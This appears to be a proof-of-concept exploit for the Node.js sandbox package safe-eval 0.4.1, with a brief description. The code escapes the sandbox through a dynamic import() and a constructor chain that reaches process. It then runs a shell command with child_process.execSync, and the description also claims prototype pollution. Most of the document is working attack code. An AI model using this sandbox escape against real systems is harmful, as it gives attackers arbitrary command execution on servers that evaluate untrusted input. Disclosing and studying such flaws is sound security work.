safe-eval 0.4.1 exploit #2

// node version: 19.8.1
// safe-eval version: 0.4.1

var safeEval = require('safe-eval')

let code = `
    (function() { 
        let ret = import("XXX");
        ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
    })()
`
safeEval(code);

const polluted_result = {}["polluted"];
console.log(polluted_result);

Description:
Sandbox can be escaped by prototype pollution by calling import.
Also, we can execute arbitrary shell code using process module.